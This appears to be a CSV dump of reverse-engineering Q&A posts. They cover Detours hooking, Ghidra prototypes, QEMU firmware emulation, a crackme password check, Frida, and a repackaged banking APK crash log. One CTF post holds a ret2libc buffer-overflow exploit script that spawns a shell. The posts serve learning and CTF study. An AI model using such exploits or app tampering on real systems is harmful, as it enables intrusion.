sysinternals process explorer it shows ""Access Denied"" for other things too, such as file path, even when running as admin or even NT AUTHORITY\SYSTEM. + +Does anyone have any idea how they could've achieved this? The only way I could think of would be using some sort of kernel mode driver and doing some voodoo magic. + +I'd appreciate any ideas +" +['ecu']," Title: How to scan the ECU Delphi MT05?Body: The ECU (Engine Control Unit) MT05 from Delphi is used today in many motorbikes and ATV's: + + + +But this ECU is not OBD2 compliant and so all current OBD2 scanner software will fail to read even the most basic parameters like ""Engine speed"". + +I want to read the current fault code (DTC). +How can I do this? + + +" +"['function-hooking', 'calling-conventions']"," Title: Detours not cleaning the stack correctlyBody: I'm trying to hook a function using Detours for the first time. I'm new to reversing software and to hooking, so I may have missed something big here. + +I'm trying to use this function as a hook: + +
typedef  int (__thiscall* func_type)(LPVOID*, LPVOID*, DWORD, BOOL);
+LPVOID hookaddr = 0;
+ int __fastcall testhook(LPVOID* pThis, void* _EDX, LPVOID* object, DWORD hp, BOOL self)
+{
+    std::cout << ""Hooked""  << std::endl;
+
+    func_type originalFunc = (func_type)hookaddr;
+
+    return originalFunc(pThis, object, hp, self);
+}
+
+ +The problem lies in the fact that the hooked function seems to follow __thiscall convention and Detours doesn't seem to be allowing this? I tried mixing __thiscall and __stdcall/__fastcall conventions in my injected dll, but couldn't get anything working. I either end up with a wrong ecx value or a crash due to an invalid esp. + +Any idea what I could try here? +" +"['binary-analysis', 'firmware', 'radare2', 'ghidra']"," Title: Function prototypes given by Ghidra is not consistentBody: This is a follow up question to the question I posted over here. According to the answer, I was able to get all the function prototypes from the binary. However, the problem I am having is most of the function signatures I am getting does not have parameters while the actual decompiled version of the same function (with the use of decompile script which is already provided by Ghidra) have parameters. + +For example, I have a function signature as undefined HAL_TIMEx_OnePulseN_Stop_IT(void) that was given by the above linked answer, while in the decompiled file (taken from running the ghidra provided Decompile.java script) I have it's signature as undefined4 HAL_TIMEx_OnePulseN_Stop_IT(uint **param_1,uint param_2) which I believe to be more accurate as I cross-checked with the actual source of the binary. + +What would be the reason for such an inconsistency? Is there anyway that I could get the function parameters in the form of decompiled version? I was trying to use DecompInterface but I could not figure out the way to extract the prototypes as if they were in decompiled version. Sorry I am a beginner and just started to work with Ghidra. Thank you for your time. +" +['qemu']," Title: ld-uClibc.so.0: No Such file or directory when running qemu-mipsel-staticBody: BLUF: When executing sudo chroot . ./qemu-mipsel-static ./bin/busybox from the squashfs-root folder the error /lib/ld-uClibc.so.0: No such file or directory is returned. Failing to figure out how to fix the error. + +I am in the early stages of analyzing a firmware update for a consumer router. Busybox is included with the firmware and I am trying to see what I can run with it in an emulated environment. + +I see that a version of the uClibc library is included with the firmware: /lib/ld-uClibc-0.9.29.so + +I tried symlinking ld-uClibc-0.9.29.so to ld-uClibc.so.0 but I receive ln: failed to create symbolic link 'ld-uClibc.so.0': Operation not permitted so my understanding of the symbolic linking process in this context is certainly coming up short. + +How can I get qemu-mipsel-static to recognize the library? Do I need to install a different library? +" +"['decompilation', 'type-reconstruction']"," Title: structures defined on stack?Body: While reading this paper on type recovery from executables, I came across following paragraph: + +
+ It is worth noting that the domain of parameters of a function can be + considered as a structure placed on the stack; in this case, the + register %ebp points to the beginning of this structure. + For that reason, the automatic detection of the structured types + located at the stack (local variables and function parameters of a + structured type) is very complicated and is not considered in this + paper. +
+ +And they mentioned that they don't consider such structures in their analysis. Do they simply mean programs like these? + +
#include <stdio.h>
+
+struct P
+{
+  int a;
+  int b;
+};
+
+int main()
+{
+  struct P p, *pp;
+  pp = &p;
+  pp->a = 4;
+  printf(""%d\n"", pp->a);
+  return 0;
+}
+
+ +Or is there any other way which resonates their statement? +" +"['assembly', 'decompilation']"," Title: Find password in a c compiled binary fileBody: I'm currently learning to do some basic reverse engineering of binary files using Cutter. The program i'm struggling on test if the password entered as argument is correct, if not, return an error message. I have some serious gap in assembly and I can't figure out the password on this one. I've worked on it for some times and arrived at a point where i'm stuck.. + +Here is the decompiled code, the test of the password happend during the while/if iterations so what's before is just to give some contex. + +
undefined4 main(int param_1,int param_2){
+    undefined4 uVar1;
+    size_t sVar2;
+    undefined4 local_21;
+    undefined4 local_1d;
+    undefined local_19;
+    char *local_18;
+    int local_14;
+    undefined4 *local_10;
+
+    local_10 = &param_1;
+    local_14 = 0;
+    if (param_1 == 2) {
+          local_21 = 0x776f7264;
+          local_1d = 0x70617373;
+          local_19 = 0;
+          local_18 = *(char **)(param_2 + 4);
+          sVar2 = strlen(local_18);
+          if (sVar2 < 8) {
+                uVar1 = 0xffffffff;
+          }
+          else {
+                while (local_14 < 8) {
+                      if ((int)local_18[local_14] + 1 != (int)*(char                   
+                          *)((int)&local_21 + local_14)) {
+                              puts(""Wrong password."");
+                              return 0xffffffff;
+                      }
+                      local_14 = local_14 + 1;
+                }
+                puts(""Access granted."");
+                uVar1 = 0;
+                }
+          }
+    else {
+          puts(""One and only one argument PLS."");
+          uVar1 = 0xffffffff;
+    }
+    return uVar1;
+}
+
+ +UPDATE 1, What I know from my guess and the help of others : + + + +I'm trying to find out if I'm right.. + +UPDATE 2, Here is a screen of the assembly tree and the while section zoomed in. + +I also commented it below but as you can see there's some section where I just can't understand what's happening : + +
VARS : 
+local_21 = 0x776f7264 ; (String) word used in password comparaison
+local_1d = 0x70617373 ;(String) pass but unused
+local_14 = 0 ;iterator
+local_18 = argv[1] (it's the string given as an argument, let's 
+           assume i've entered ""examples"")
+
+- mov edx, dword [local_14] -->  load the value of local_14 into edx 
+                                 local_14 = 0
+
+- mov eax, dword[local_18] --> load the function argument into the 
+                               register 
+                               local_18 = examples
+
+
+- add eax, edx --> add the value 0 to our password (does it means we 
+                   add 0 to the address of our input or directly to 
+                   the input ?)
+
+- movzx eax, byte[eax] --> get the first character in eax (is he 
+                           taking the hexa character 7 ?
+
+- movsx eax, al --> ?
+
+- lea ecx, [eax + 1] --> load the address of [eax+1] into eax (don't 
+                         know what is in eax+1..)
+
+- lea edx, [local_21] --> load the address of local_21 in edx
+                          it is 0x776f7264 so what does it stock ? Do 
+                          I considerer this as a value or as an 
+                          address?
+
+- mov eax, dword[local_14] --> load the value of local_14 (0) into 
+                             eax, so 0x0 ?
+
+- add eax, edx -> we add local_14 (0) to eax, so do we have 0x776f7264
+
+- movzx eax, byte[eax] --> exact same thing as before.
+
+- movsx eax, al --> same as before
+
+- cmp ecx, eax --> we compare ecx et eax (eax=?, ecx = [eax+1] = ?)
+
+- add dword [local_14], 1 --> we add 1 to (local_14), it became 1 (our 
+                            iterator)
+
+- cmp dword [local-14], 7 --> we compare our iterator with with 7, if 
+                              it is lower we continue 
+
+- we start again from the start 
+
+ +I have trouble understand if 0x776f7264 is actually an address or just the value in eax. So when i add 1, what is actually happend (2,3 etc..) ? Do i had this directly to the hexa or do I consider adding it to a character ? +Like 77 = w so i add 1 to w and it gives me x + +I'm really sorry if i have poorly explained my problem and will do my best to answer any questions regarding my post. + +Thanks a lot and have a nice day ! +" +"['dynamic-analysis', 'frida']"," Title: Is frida-server latest version compatible with old Android versionsBody: I'm trying to figure out, if it's appropriate to use frida-server latest version (12.8.x at the moment of writing this question), on any Android version (even the old ones like KitKat). + +I'm asking this question, because Android apps keep crashing, so I'm trying to figure out if the problem is Frida version. +" +"['radare2', 'exploit', 'buffer-overflow', 'stack', 'libc']"," Title: exploiting a binary using ret2libcBody: I ran into this binary at a CTF : +https://github.com/auehc/AUCTF-2020/tree/master/Pwn/House%20of%20Madness + +I first tried to exploit it and get a shell using ret2libc technique, however I didn't succeed. +I know it is not the intended way to solve the challenge, but after the CTF, I am now focusing +on achieving ret2libc on this binary. And I am now stuck and need help :) + +The source is in challenge.c, and the compiled version is challenge. + +ASLR is disabled for the challenge, and on my computer too : + +
$ > cat /proc/sys/kernel/randomize_va_space
+0
+
+ +It is possible to trigger a buffer overflow using this input : + +
""2\n4\n3\nStephen\n""
+
+ +plus some padding. + +I wrote an exploit to try to pop a shell (without success) : + +
#!/usr/bin/env python2
+
+import struct
+
+valid_input = ""2\n4\n3\nStephen\n""
+pad = ""aaaaaaaa2Aa3Aa4Aa5Aa6Aa7aaaa""
+binsh = struct.pack(""I"", 0xf7f4caaa)
+system = struct.pack(""I"", 0xf7e0c9e0)
+exit = struct.pack(""<I"", 0xf7dffa60)
+
+exploit = valid_input \
+        + pad \
+        + system \
+        + exit \
+        + binsh
+print exploit
+
+ +Now, I will tell you why I don't understand why it's not working. + +When i break on the ret in the function where I triggered the buffer overflow, the stack looks like this: + +
[0x56556684]> pxw 16 @esp
+0xffffd23c  0xf7e0c9e0 0xf7dffa60 0xf7f4caaa 0xffffd200  ....`...........
+
+ +so, you can see that first there is 0xf7e0c9e0, then 0xf7dffa60, then 0xf7f4caaa. + +0xf7e0c9e0 is the address of system in the libc : + +
[0x56556684]> dmi libc system
+257   0x0012a2c0 0xf7ef82c0 GLOBAL FUNC   102       svcerr_systemerr
+658   0x0003e9e0 0xf7e0c9e0 GLOBAL FUNC   55        __libc_system
+1525  0x0003e9e0 0xf7e0c9e0 WEAK   FUNC   55        system
+
+ +0xf7dffa60 is the address of exit, altough it shouldn't be needed, if I popped the shell. + +0xf7f4caaa is the address of the string /bin/sh\x00 in the libc : + +
[0x56556684]> px10@0xf7f4caaa
+- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
+0xf7f4caaa  2f62 696e 2f73 6800 6578                 /bin/sh.ex
+
+ +I am stuck there, and can't figure out what is happening.. If anyone can point me in the right direction, I would be very happy :) +" +"['disassembly', 'anti-debugging', 'patching', 'patch-reversing', 'apk']"," Title: Android app crashes even while not edited, how can I solve it?Body: Installed an application from google playstore and then transferred to it my computer to apparently edit it and without any changes I made to it then I tried to install it through ADB, well the installation was fine but When I tried to start the application it just crashes. also tried to clear app data to see any solution but it didn't work! and when I look into the logcat I find the following which is almost informative except this vague error + +04-02 17:15:29.095 3053 3071 E AndroidRuntime: Process: com.ibsbankmobile, PID: 3053 + +all other logcat is below: + +
04-02 17:15:12.237  2526  2609 I PackageManager: init_copy idx=0: MeasureParams{56c9329 com.ibsbankmobile}
+04-02 17:15:12.237  2526  2609 I PackageManager: startCopy UserHandle{0}: MeasureParams{56c9329 com.ibsbankmobile}
+04-02 17:15:16.415  2526  2609 I PackageManager: init_copy idx=0: MeasureParams{5d8cfbb com.ibsbankmobile}
+04-02 17:15:16.415  2526  2609 I PackageManager: startCopy UserHandle{0}: MeasureParams{5d8cfbb com.ibsbankmobile}
+04-02 17:15:18.871  2526  2609 I PackageManager: init_copy idx=0: MeasureParams{95d4782 com.ibsbankmobile}
+04-02 17:15:18.874  2526  2609 I PackageManager: startCopy UserHandle{0}: MeasureParams{95d4782 com.ibsbankmobile}
+04-02 17:15:21.988  1865  1865 I AppStorageSettings: Clearing user data for package : com.ibsbankmobile
+04-02 17:15:21.996  2526 27990 I ActivityManager: Force stopping com.ibsbankmobile appid=10298 user=0: clear data
+04-02 17:15:22.049  2526  2558 I ActivityManager: Force stopping com.ibsbankmobile appid=10298 user=-1: clearApplicationUserData
+04-02 17:15:22.096  2526  2609 V ActivityManager: Broadcast: Intent { act=android.intent.action.PACKAGE_RESTARTED dat=package:com.ibsbankmobile flg=0x10 (has extras) } ordered=false userid=0 callerApp=null
+04-02 17:15:22.097  2526  2609 V ActivityManager: Broadcast: Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 (has extras) } ordered=false userid=0 callerApp=null
+04-02 17:15:22.102  1865  1865 I AppStorageSettings: Cleared user data for package : com.ibsbankmobile
+04-02 17:15:22.124  3032  3032 I GeofencerStateMachine: removeGeofences: removeRequest=RemoveGeofencingRequest[REMOVE_ALL packageName=com.ibsbankmobile]
+04-02 17:15:22.142  2526  2609 I PackageManager: init_copy idx=0: MeasureParams{901be7d com.ibsbankmobile}
+04-02 17:15:22.143  2526  2609 I PackageManager: startCopy UserHandle{0}: MeasureParams{901be7d com.ibsbankmobile}
+04-02 17:15:22.179  2526  2558 D ProcessManager.AS: *** Launch app com.android.chrome/10041 for broadcast Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 (has extras) } from android/1000
+04-02 17:15:22.928  2863  2863 D ActivityThread: BDC-Calling onReceive: intent=Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 cmp=com.android.chrome/org.chromium.chrome.browser.browserservices.ClientAppBroadcastReceiver (has extras) }, receiver=org.chromium.chrome.browser.browserservices.ClientAppBroadcastReceiver@ae98dda
+04-02 17:15:22.944  2526  2853 D ProcessManager.AS: *** Launch app com.android.documentsui/10009 for broadcast Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 (has extras) } from android/1000
+04-02 17:15:23.084  2885  2885 D ActivityThread: BDC-Calling onReceive: intent=Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 cmp=com.android.documentsui/.PackageReceiver (has extras) }, receiver=com.android.documentsui.PackageReceiver@c1db393
+04-02 17:15:23.101  2526  3601 D ProcessManager.AS: *** Launch app com.google.android.apps.photos/10070 for broadcast Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 (has extras) } from android/1000
+04-02 17:15:23.832  2902  2902 D ActivityThread: BDC-Calling onReceive: intent=Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 cmp=com.google.android.apps.photos/com.google.android.libraries.social.mediastoresync.reset.impl.MediaStoreClearedReceiver (has extras) }, receiver=com.google.android.libraries.social.mediastoresync.reset.impl.MediaStoreClearedReceiver@ef8af
+04-02 17:15:23.858  3032  3032 D ActivityThread: BDC-Calling onReceive: intent=Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 cmp=com.google.android.gms/.chimera.GmsIntentOperationService$PersistentTrustedReceiver (has extras) }, receiver=com.google.android.gms.chimera.GmsIntentOperationService$PersistentTrustedReceiver@b04b693
+04-02 17:15:23.955  3739  3739 D ActivityThread: BDC-Calling onReceive: intent=Intent { act=android.intent.action.PACKAGE_DATA_CLEARED dat=package:com.ibsbankmobile flg=0x10 cmp=com.transsion.phonemanager/com.cyin.himgr.applicationmanager.receiver.AppReceiver (has extras) }, receiver=com.cyin.himgr.applicationmanager.receiver.AppReceiver@1aa53d7
+04-02 17:15:23.968  3739  3739 D HiManager_log: HiManager_HiManager_ServerAppReceiver: setting clean data pkg: com.ibsbankmobile
+04-02 17:15:23.982  2526 27996 D PowerManagerNotifier: onWakeLockChanging: flags=1, tag=""Icing"", packageName=com.google.android.gms, ownerUid=10015, ownerPid=3381, workSource=WorkSource{10015 com.google.android.gms, 10284 com.ibsbankmobile}
+04-02 17:15:23.987  2526  2548 D PowerManagerNotifier: onWakeLockChanging: flags=1, tag=""Icing"", packageName=com.google.android.gms, ownerUid=10015, ownerPid=3381, workSource=WorkSource{10284 com.ibsbankmobile}
+04-02 17:15:23.999  3381  2013 I Icing   : doRemovePackageData com.ibsbankmobile
+04-02 17:15:24.037  2418  2418 V AlarmClock: AlarmBroadcastReceiver recevied pkgName = com.ibsbankmobile
+04-02 17:15:24.126  2526  3599 D PowerManagerNotifier: onWakeLockChanging: flags=1, tag=""Icing"", packageName=com.google.android.gms, ownerUid=10015, ownerPid=3381, workSource=WorkSource{10015 com.google.android.gms, 10284 com.ibsbankmobile}
+04-02 17:15:28.690  2526  3599 I ActivityManager: START u0 {act=android.intent.action.MAIN cat=[android.intent.category.LAUNCHER] flg=0x10200000 cmp=com.ibsbankmobile/.MainActivity bnds=[12,234][276,492] (has extras)} from uid 10022 on display 0
+04-02 17:15:28.700  2526  3599 V WindowManager: Set focused app to: AppWindowToken{9b32dfb token=Token{8baa9f5 ActivityRecord{2d9b2c u0 com.ibsbankmobile/.MainActivity t28124}}} old focus=AppWindowToken{fb2d555 token=Token{ccee73f ActivityRecord{6e6b75e u0 com.transsion.hilauncher/com.android.launcher3.Launcher t27849}}} moveFocusNow=true
+04-02 17:15:28.700  2526  3599 V WindowManager: findFocusedWindow: Reached focused app=AppWindowToken{9b32dfb token=Token{8baa9f5 ActivityRecord{2d9b2c u0 com.ibsbankmobile/.MainActivity t28124}}}
+04-02 17:15:28.719  2526  2587 D ViewRootImpl[ibsbankmobile]: hardware acceleration is disabled, fakeHwAccelerated = true, HardwareRenderer.sRendererDisabled = false, forceHwAccelerated = false, HardwareRenderer.sSystemRendererDisabled = false, this = ViewRoot{9143ca9 Starting com.ibsbankmobile,ident = 415}
+04-02 17:15:28.731   303   303 I BufferQueueConsumer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:0,p:-1,c:303) setConsumerName: Starting com.ibsbankmobile
+04-02 17:15:28.731   303   303 I BufferQueueConsumer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:0,p:-1,c:303) setDefaultBufferSize: width=1 height=1
+04-02 17:15:28.732  2526  2587 V WindowManager: findFocusedWindow: Reached focused app=AppWindowToken{9b32dfb token=Token{8baa9f5 ActivityRecord{2d9b2c u0 com.ibsbankmobile/.MainActivity t28124}}}
+04-02 17:15:28.737  2526  3510 I ActivityManager: Start proc 3053:com.ibsbankmobile/u0a298 for activity com.ibsbankmobile/.MainActivity
+04-02 17:15:28.745   303   303 I BufferQueueConsumer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:0,p:-1,c:303) setDefaultBufferSize: width=1080 height=1920
+04-02 17:15:28.752   303   436 I BufferQueueProducer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:2,p:2526,c:303) connect(P): api=2 producer=(2526:system_server) producerControlledByApp=false
+04-02 17:15:28.753   303  1002 I BufferQueueProducer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:2,p:2526,c:303) new GraphicBuffer needed
+04-02 17:15:28.771  2526  2798 I libPerfService: [perfNotifyAppState] foreground:com.ibsbankmobile, pid:3053
+04-02 17:15:28.771  2526  1395 I PPS     : [PPSNotifyAppState] pack:com.ibsbankmobile, com:com.ibsbankmobile.MainActivity, state:1,ActiveCount = 1
+04-02 17:15:28.771  2526  1395 I PPS     : [PPSNotifyAppState] nPackNum:102, pack:com.ibsbankmobile, com:com.ibsbankmobile.MainActivity, state:1, pid:3053, last_boost_tid:3053
+04-02 17:15:28.771  2526  2798 I libPerfService: perfCheckPackAffinity foreground:com.ibsbankmobile, latest:
+04-02 17:15:28.804  2526  2588 D ProcessManager: recentPackage baseActivity : com.ibsbankmobile
+04-02 17:15:28.824  3053  3053 W System  : ClassLoader referenced unknown path: /data/app/com.ibsbankmobile-1/lib/arm64
+04-02 17:15:28.856  2899  2899 D SystemServicesProxy: getRecentTasks:TASK = id=28124 stackId=1 user=0 lastActiveTime=1585836928771 componentComponentInfo{com.ibsbankmobile/com.ibsbankmobile.MainActivity}/isExcluded = false/includeFrontMostExcludedTask = false/isFirstValidTask = true/t.id = 28124
+04-02 17:15:29.092  3053  3071 W System  : ClassLoader referenced unknown path: /data/app/com.ibsbankmobile-1/lib/arm64
+04-02 17:15:29.095  3053  3071 E AndroidRuntime: Process: com.ibsbankmobile, PID: 3053
+04-02 17:15:29.100  2526  1395 W ActivityManager:   Force finishing activity com.ibsbankmobile/.MainActivity
+04-02 17:15:29.105  2526  1395 V WindowManager: Set focused app to: AppWindowToken{fb2d555 token=Token{ccee73f ActivityRecord{6e6b75e u0 com.transsion.hilauncher/com.android.launcher3.Launcher t27849}}} old focus=AppWindowToken{9b32dfb token=Token{8baa9f5 ActivityRecord{2d9b2c u0 com.ibsbankmobile/.MainActivity t28124}}} moveFocusNow=true
+04-02 17:15:29.112  2526  3072 D AES     : onEndOfErrorDumpThread: data_app_crash Process: com.ibsbankmobile
+04-02 17:15:29.112  2526  3072 D AES     : Package: com.ibsbankmobile v3 (1)
+04-02 17:15:29.114  2526  3072 D AES     :     process : com.ibsbankmobile
+04-02 17:15:29.114  2526  3072 D AES     :      module : com.ibsbankmobile v3 (1)
+04-02 17:15:29.116  2526  3072 D AEE_LIBAEE: shell: raise_exp(4, 3053, -1361051648, com.ibsbankmobile, 0x0x7223e196e0, 0x0x0)
+04-02 17:15:29.133  3073  3073 I AEE_AED : [preset_info] pid: 3053, tid: -1361051648, name: UNKNOWN  >>> com.ibsbankmobile <<<
+04-02 17:15:29.133  3073  3073 V AEE_AED : dashboard_record_update() : rec->module = com.ibsbankmobile
+04-02 17:15:29.150  3053  3053 D ActivityThread: EYE startEyeVerifyBroadcast packagename=com.ibsbankmobile; ClassName=com.ibsbankmobile.MainActivity
+04-02 17:15:29.152  2526  3597 V ActivityManager: Broadcast: Intent { act=com.rlk.android.APPLOCK_RECEIVER flg=0x10000010 pkg=com.rlk.eyeverify.activity (has extras) } ordered=false userid=0 callerApp=ProcessRecord{9cb3bc0 3053:com.ibsbankmobile/u0a298}
+04-02 17:15:29.157 18792 18792 D LOGTAG_AppLockRecieve: start activity PackageName=com.ibsbankmobile    ClassName=com.ibsbankmobile.MainActivity
+04-02 17:15:29.172 18792 18792 D LOGTAG_VerifyInterceptor: start Eye check activity PackageName=com.ibsbankmobile       ;  ClassName=com.ibsbankmobile.MainActivity;  IsLocked=false
+04-02 17:15:29.187  3053  3053 D OpenGLRenderer: <com.ibsbankmobile> is running.
+04-02 17:15:29.189  2526  2559 D ViewRootImpl[ibsbankmobile]: hardware acceleration is enabled, this = ViewRoot{65d6111 Application Error: com.ibsbankmobile,ident = 416}
+04-02 17:15:29.214  2526  2559 V WindowManager: Changing focus from null to Window{b4f2077 u0 Application Error: com.ibsbankmobile} Callers=com.android.server.wm.WindowManagerService.addWindow:2347 com.android.server.wm.Session.addToDisplay:187 android.view.ViewRootImpl.setView:753 android.view.WindowManagerGlobal.addView:355
+04-02 17:15:29.215  2526  2559 D WindowManager: Input focus has changed to Window{b4f2077 u0 Application Error: com.ibsbankmobile}
+04-02 17:15:29.216  2526  2587 I WindowManager: Focus moving from null to Window{b4f2077 u0 Application Error: com.ibsbankmobile}
+04-02 17:15:29.216  2526  2587 I WindowManager: Gaining focus: Window{b4f2077 u0 Application Error: com.ibsbankmobile}
+04-02 17:15:29.225   303   303 I BufferQueueConsumer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:0,p:-1,c:303) setConsumerName: Application Error: com.ibsbankmobile
+04-02 17:15:29.225   303   303 I BufferQueueConsumer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:0,p:-1,c:303) setDefaultBufferSize: width=193 height=193
+04-02 17:15:29.237  3053  3053 D ViewRootImpl[MainActivity]: hardware acceleration is enabled, this = ViewRoot{6a638df com.ibsbankmobile/com.ibsbankmobile.MainActivity,ident = 0}
+04-02 17:15:29.238   303   303 I BufferQueueConsumer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:0,p:-1,c:303) setDefaultBufferSize: width=1272 height=641
+04-02 17:15:29.242  2526 22035 D OpenGLRenderer: CanvasContext() 0x7227d10000 initialize window=0x7235518600, title=Application Error: com.ibsbankmobile
+04-02 17:15:29.252   303   436 I BufferQueueProducer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:2526,c:303) connect(P): api=1 producer=(2526:system_server) producerControlledByApp=false
+04-02 17:15:29.254  3053  3053 V PhoneWindow: DecorView setVisiblity: visibility = 0, Parent = ViewRoot{6a638df com.ibsbankmobile/com.ibsbankmobile.MainActivity,ident = 0}, this = DecorView@fe5f5ef[MainActivity],statusBarBackground visible =true,statusColor: 0xff757575->
+04-02 17:15:29.266   303  1763 I BufferQueueProducer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:2526,c:303) new GraphicBuffer needed
+04-02 17:15:29.277  2526  3601 I PPS     : [PPSNotifyAppState] pack:com.ibsbankmobile, com:com.ibsbankmobile.MainActivity, state:0,ActiveCount = 0
+04-02 17:15:29.277  2526  3601 I PPS     : [PPSNotifyAppState] nPackNum:102, pack:com.ibsbankmobile, com:com.ibsbankmobile.MainActivity, state:0, pid:3053, last_boost_tid:3053
+04-02 17:15:29.278  3073  3073 D AEE_AED :   Process:com.ibsbankmobile
+04-02 17:15:29.278  3073  3073 I AEE_AED : com.ibsbankmobile
+04-02 17:15:29.279  3073  3073 D AEE_AED :   Module:com.ibsbankmobile v3 (1)
+04-02 17:15:29.279  3073  3073 I AEE_AED : com.ibsbankmobile v3 (1)
+04-02 17:15:29.279  3073  3073 D AEE_AED :   Backtrace:Process: com.ibsbankmobile
+04-02 17:15:29.279  3073  3073 D AEE_AED : Package: com.ibsbankmobile v3 (1)
+04-02 17:15:29.282  3073  3073 I AEE_AED : Process: com.ibsbankmobile
+04-02 17:15:29.282  3073  3073 I AEE_AED : Package: com.ibsbankmobile v3 (1)
+04-02 17:15:29.287   303   432 I BufferQueueProducer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:2526,c:303) new GraphicBuffer needed
+04-02 17:15:29.288  2526  3601 I WindowManager: Failed to capture screenshot of Token{8baa9f5 ActivityRecord{2d9b2c u0 com.ibsbankmobile/.MainActivity t28124 f}} appWin=Window{e98a1cf u0 Starting com.ibsbankmobile} drawState=4
+04-02 17:15:29.311   303  1763 I BufferQueueProducer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:2526,c:303) new GraphicBuffer needed
+04-02 17:15:29.433  2899  2899 D SystemServicesProxy: getRecentTasks:TASK = id=28124 stackId=1 user=0 lastActiveTime=1585836929105 componentComponentInfo{com.ibsbankmobile/com.ibsbankmobile.MainActivity}/isExcluded = false/includeFrontMostExcludedTask = false/isFirstValidTask = true/t.id = -1
+04-02 17:15:29.609   303  1763 I BufferQueueProducer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:2,p:-1,c:303) disconnect(P): api -1
+04-02 17:15:29.612   303  1763 I BufferQueueConsumer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:2,p:-1,c:303) getReleasedBuffers: returning mask 0xffffffffffffffff
+04-02 17:15:29.613  2526  2587 I WindowManager: Destroying surface Surface(name=Starting com.ibsbankmobile) called by com.android.server.wm.WindowStateAnimator.destroySurface:2137 com.android.server.wm.WindowStateAnimator.destroySurfaceLocked:949 com.android.server.wm.WindowState.removeLocked:1470 com.android.server.wm.WindowManagerService.removeWindowInnerLocked:2708 com.android.server.wm.AppWindowToken.destroySurfaces:376 com.android.server.wm.WindowStateAnimator.finishExit:587 com.android.server.wm.AppWindowAnimator.stepAnimationLocked:435 com.android.server.wm.WindowAnimator.updateAppWindowsLocked:184
+04-02 17:15:29.626   303   303 I BufferQueueConsumer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:2,p:-1,c:-1) disconnect(C)
+04-02 17:15:29.645   303  1002 I BufferQueueProducer: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:2,p:-1,c:-1) disconnect(P): api 2
+04-02 17:15:29.665  2526  3514 I PPS     : [PPSNotifyAppState] pack:com.ibsbankmobile, com:com.ibsbankmobile.MainActivity, state:2,ActiveCount = 1
+04-02 17:15:29.665  2526  3514 I PPS     : [PPSNotifyAppState] nPackNum:102, pack:com.ibsbankmobile, com:com.ibsbankmobile.MainActivity, state:2, pid:3053, last_boost_tid:16629
+04-02 17:15:29.667   303  1763 I BufferQueue: [Starting com.ibsbankmobile](this:0x75f1bf5000,id:6203,api:2,p:-1,c:-1) ~BufferQueueCore
+04-02 17:15:34.750  2526  2588 I ActivityManager: Killing 3053:com.ibsbankmobile/u0a298 (adj 900): doclean
+04-02 17:15:34.751  2526  2588 D ActivityManager: handleAppDiedLocked: app = ProcessRecord{9cb3bc0 3053:com.ibsbankmobile/u0a298}, app.pid = 3053
+04-02 17:15:34.758  2526  1395 W ActivityManager: Ignoring remove of inactive process: ProcessRecord{9cb3bc0 0:com.ibsbankmobile/u0a298}
+04-02 17:15:34.784   303   436 I BufferQueueProducer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:-1,c:303) disconnect(P): api 1
+04-02 17:15:34.784   303   436 I BufferQueueConsumer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:-1,c:303) getReleasedBuffers: returning mask 0xffffffffffffffff
+04-02 17:15:34.788   303  1763 I BufferQueueProducer: [Application Error: com.ibsbankmobile](this:0x75f5216000,id:6204,api:1,p:-1,c:303) disconnect(P): api 1
+04-02 17:15:34.794  2526  2559 V WindowManager: Remove Window{b4f2077 u0 Application Error: com.ibsbankmobile} client=d7bb276, surfaceController=Surface(name=Application Error: com.ibsbankmobile) Callers=com.android.server.wm.WindowManagerService.removeWindowLocked:2522 com.android.server.wm.WindowManagerService.removeWindow:2517 com.android.server.wm.Session.remove:206 android.view.ViewRootImpl.dispatchDetachedFromWindow:3700
+04-02 17:15:34.796  2526  2559 V WindowManager: Changing focus from Window{b4f2077 u0 Application Error: com.ibsbankmobile EXITING} to Window{78def60 u0 com.transsion.hilauncher/com.android.launcher3.Launcher} Callers=com.android.server.wm.WindowManagerService.setupWindowForRemoveOnExit:2503 com.android.server.wm.WindowManagerService.removeWindowLocked:2647 com.android.server.wm.WindowManagerService.removeWindowLocked:2522 com.android.server.wm.WindowManagerService.removeWindow:2517
+04-02 17:15:34.807  2526  2587 I WindowManager: Focus moving from Window{b4f2077 u0 Application Error: com.ibsbankmobile EXITING} to Window{78def60 u0 com.transsion.hilauncher/com.android.launcher3.Launcher}
+04-02 17:15:34.808  2526  2587 I WindowManager: Losing focus: Window{b4f2077 u0 Application Error: com.ibsbankmobile EXITING}
